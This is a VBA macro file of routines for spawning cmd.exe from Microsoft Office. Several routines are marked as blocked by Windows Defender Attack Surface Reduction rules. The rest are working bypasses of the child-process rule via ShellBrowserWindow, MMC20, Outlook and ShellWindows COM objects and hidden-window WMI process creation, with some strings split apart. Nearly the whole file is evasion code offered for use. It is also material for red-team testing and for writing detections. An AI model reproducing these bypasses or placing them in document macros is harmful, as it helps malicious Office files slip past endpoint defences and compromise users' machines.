Create ASR Rules Bypass.vba
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' ASR rules bypass creating child processes
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' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
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' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
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' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
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Sub ASR_blocked()
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Dim WSHShell As Object
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Set WSHShell = CreateObject("Wscript.Shell")
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WSHShell.Run "cmd.exe"
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End Sub
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Sub ASR_blocked2()
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Dim WSHShell As Object
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Set WSHShell = CreateObject("Shell.Application")
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WSHShell.ShellExecute "cmd.exe"
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End Sub
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Sub ASR_blocked3()
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Call Shell("cmd.exe", 1)
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End Sub
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Sub ASR_blocked4()
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Set WshShell = CreateObject("WScript.Shell")
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Set WshShellExec = WshShell.Exec("cmd.exe")
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End Sub
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Sub ASR_blocked5()
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Set obj = CreateObject("Excel.Application")
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obj.DisplayAlerts = False
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obj.DDEInitiate "cmd", "/c notepad.exe"
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End Sub
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Sub ASR_bypass_create_child_process_rule()
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Const ShellBrowserWindow = _
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"{C08AFD90-F2A1-11D1-8455-00A0C91F3880}"
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Set SBW = GetObject("new:" & ShellBrowserWindow)
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SBW.Document.Application.ShellExecute "cmd.exe", Null, "C:\Windows\System32", Null, 0
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End Sub
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Sub ASR_bypass_create_child_process_rule2()
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Const ExecuteShellCommand = _
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"{49B2791A-B1AE-4C90-9B8E-E860BA07F889}"
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Set MMC20 = GetObject("new:" & ExecuteShellCommand)
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MMC20.Document.ActiveView.ExecuteShellCommand ("cmd.exe")
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End Sub
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Sub ASR_bypass_create_child_process_rule3()
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Const OUTLOOK = _
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"{0006F03A-0000-0000-C000-000000000046}"
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Set objShell = GetObject("new:" & OUTLOOK)
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objShell.CreateObject("WScript.Shell").Run "cmd.exe", 0
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End Sub
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Sub ASR_bypass_create_child_process_rule4()
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Const ShellWindows = _
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"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
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Set SW = GetObject("new:" & ShellWindows).Item()
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SW.Document.Application.ShellExecute "cmd.exe", Null, "C:\Windows\System32", Null, 0
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End Sub
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Sub ASR_bypass_create_child_process_rule5()
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Const HIDDEN_WINDOW = 0
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strComputer = "."
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Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
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Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
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Set objConfig = objStartup.SpawnInstance_
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objConfig.ShowWindow = HIDDEN_WINDOW
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Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
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objProcess.Create "cmd.exe", Null, objConfig, intProcessID
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End Sub
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